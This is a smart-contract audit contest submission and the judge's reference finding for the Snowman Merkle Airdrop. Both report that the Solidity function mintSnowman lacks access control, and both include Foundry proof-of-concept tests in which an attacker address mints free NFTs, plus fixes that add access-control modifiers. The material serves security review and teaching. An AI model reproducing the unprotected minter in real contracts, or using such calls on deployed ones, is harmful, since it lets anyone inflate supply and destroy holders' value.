Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman.mintSnowman` has no access control — anyone can mint unlimited Snowman NFTs

Root + Impact

Description

  • Normal behavior: Snowman NFTs are the protocol's reward asset. A whitelisted recipient who stakes (burns) their Snow in SnowmanAirdrop.claimSnowman is supposed to receive exactly one NFT per staked Snow, and the merkle root is what bounds how many NFTs each address may ever receive. Minting authority should therefore live only inside the airdrop claim flow.

  • The issue: Snowman.mintSnowman(address receiver, uint256 amount) is external and carries no access control. The contract inherits Ownable but mintSnowman is not protected by onlyOwner (or any "only airdrop" check). Any address can call it and mint an arbitrary number of Snowman NFTs to any receiver, for free, with no Snow, no merkle proof, and no payment.

**Root cause** in `src/Snowman.sol`:
```solidity
// The only legitimate caller in the whole protocol is SnowmanAirdrop.claimSnowman,
// but nothing restricts mintSnowman to it:
@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```

Risk

Likelihood:

  • Reason 1 — The function is part of the public interface of the deployed contract and executes immediately on call; there are no preconditions, no fees, and no state requirements.

  • Reason 2 — mintSnowman is never gated by any authorization (no onlyOwner, no caller registry) anywhere in src/, so every caller — EOA or contract — is allowed.

Impact:

  • Impact 1 — Total NFT supply becomes attacker-controlled: unlimited Snowmen can be minted for free, destroying the scarcity that the airdrop/staking economics rely on.

  • Impact 2 — The merkle root no longer bounds NFT supply at all, the reward asset loses its value, and spam-minting can bloat state or be aimed at arbitrary addresses.

Proof of Concept

## Proof of Concept
Self-contained Foundry test (also in `poc/TestSnowmanPoCs.t.sol`, test `testPoc2_AnyoneMintsSnowman`; passes locally with `forge test`). It mirrors the protocol deploy — `Snowman` is deployed standalone exactly as in `script/DeploySnowman.s.sol`, with no airdrop wiring needed for the attack to work:
```solidity
function testAnyoneMintsSnowman() public {
// Protocol setup: Snowman deployed standalone (same as DeploySnowman.s.sol)
Snowman nft = new Snowman("data:image/svg+xml;base64,SGk=");
// Attacker: a random EOA that has never earned/bought Snow and never
// interacted with SnowmanAirdrop (no stake, no merkle proof, no payment)
address attacker = makeAddr("attacker");
assertEq(nft.balanceOf(attacker), 0);
assertEq(nft.getTokenCounter(), 0);
// Attack: call the permissionless minter directly
vm.prank(attacker);
nft.mintSnowman(attacker, 5); // <- no access control
// Result 1: 5 NFTs minted out of thin air by a non-whitelisted actor
assertEq(nft.balanceOf(attacker), 5);
assertEq(nft.getTokenCounter(), 5); // total supply inflated
// Result 2: repeatable at will — one more free call, supply grows again
vm.prank(attacker);
nft.mintSnowman(attacker, 3);
assertEq(nft.getTokenCounter(), 8); // unbounded supply, zero cost
}
```
Attack steps: (1) deploy the Snowman NFT contract as the protocol does; (2) as any
unrelated EOA with zero Snow, call `nft.mintSnowman(attacker, 5)`; (3) observe the mint
succeeds and total supply jumps. The only legitimate mint path in the protocol is
`SnowmanAirdrop.claimSnowman`, which requires a valid merkle proof and burns the
recipient's Snow first — this function bypasses both entirely.
## Recommended Mitigation
Restrict minting to the airdrop contract, the only legitimate minter. Because `Snowman` is deployed **before** `SnowmanAirdrop` exists (the airdrop constructor receives the Snowman address), the airdrop address cannot be an immutable constructor argument — wire it post-deploy via an owner-only setter. `error SM__NotAllowed()` is already declared in the contract and is reused:
```diff
+ address private s_airdrop; // NOT immutable — Snowman is deployed before the airdrop
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
+ _;
+ }
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (s_airdrop != address(0)) revert SM__AirdropAlreadySet();
+ s_airdrop = _airdrop;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
```
One line in `script/DeploySnowmanAirdrop.s.sol`, after the airdrop is created:
```diff
airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
+ nft.setAirdrop(address(airdrop)); // owner = deployer; call inside the broadcast
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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